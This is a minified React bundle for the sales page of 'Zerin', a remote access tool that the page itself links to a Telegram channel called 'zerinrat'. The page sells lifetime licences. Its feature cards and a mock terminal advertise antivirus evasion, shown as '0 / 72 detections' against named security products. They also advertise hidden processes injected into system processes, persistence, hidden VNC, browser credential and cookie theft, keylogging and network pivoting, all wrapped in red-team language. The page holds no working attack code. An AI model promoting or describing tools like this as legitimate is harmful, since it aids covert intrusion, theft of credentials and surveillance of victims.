window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function eA(e,t=40,n=0){const r=m.useRef(null),i=m.useRef(null),[s,o]=m.useState(!1);return m.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:s}}const tA=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during assessments.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],nA=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function $s({value:e,label:t,suffix:n="",prefix:r=""}){const i=m.useRef(null),s=m.useRef(null);return m.useEffect(()=>{const o=i.current,l=s.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const p=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=p,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),a.jsxs("div",{ref:i,className:"text-center",children:[a.jsxs("div",{ref:s,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),a.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const rA=m.memo(function({name:t,delay:n}){return a.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[a.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),a.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[a.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),iA=m.memo(function({feature:t,index:n}){return a.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[a.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),a.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),a.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),a.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),a.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function aA(){const e=eA("Adversary Simulation. Red Team Operations.",45,600),[t,n]=m.useState(!1),[r,i]=m.useState(null),[s,o]=m.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=m.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);m.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=m.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[a.jsx(J_,{}),s&&a.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[a.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[a.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),a.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),a.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),a.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),a.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[a.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),a.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),a.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),a.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",a.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),a.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xt,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),a.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx(xt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),a.jsx(xt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),a.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),a.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),a.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[a.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),a.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),a.jsx("div",{className:"h-8 mb-8",children:a.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[a.jsx("span",{ref:e.spanRef}),a.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),a.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),a.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[a.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[a.jsx("span",{className:"relative z-10",children:"Get Access"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),a.jsx(xt,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),a.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),a.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),a.jsx("section",{className:"relative z-10 py-28 px-6",children:a.jsxs("div",{className:"max-w-5xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-14",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",a.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),a.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),a.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[a.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] overflow-hidden",children:[a.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),a.jsxs("div",{children:[a.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),a.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),a.jsxs("div",{className:"text-right",children:[a.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),a.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),a.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),a.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),a.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:nA.map((u,d)=>a.jsx(rA,{name:u,delay:d*60},u))})]}),a.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>a.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[a.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center",children:a.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),a.jsxs("div",{children:[a.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),a.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:a.jsx("div",{className:"max-w-5xl mx-auto",children:a.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[a.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),a.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),a.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[a.jsxs("div",{children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... ",a.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",a.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",a.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",a.jsx("span",{className:"text-zerin-accent",children:"active"})]}),a.jsxs("div",{className:"mt-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",a.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",a.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),a.jsxs("div",{className:"mt-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:a.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),a.jsxs("div",{children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),a.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>a.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),a.jsx("section",{className:"relative z-10 py-24 px-6",children:a.jsxs("div",{className:"max-w-6xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-16",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),a.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:tA.map((u,d)=>a.jsx(iA,{feature:u,index:d},u.tag))})]})}),a.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:a.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[a.jsx($s,{value:256,suffix:"-bit",label:"Encryption"}),a.jsx($s,{value:12,suffix:"",label:"Persist Methods"}),a.jsx($s,{value:100,suffix:"%",label:"C2 Uptime"}),a.jsx($s,{value:0,suffix:"",label:"Disk Artifacts"}),a.jsx($s,{value:48,suffix:"",label:"Modules"})]})}),a.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:a.jsxs("div",{className:"max-w-6xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-16",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),a.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),a.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[a.jsx("div",{className:"group relative",children:a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[a.jsx("div",{className:"auth-corner 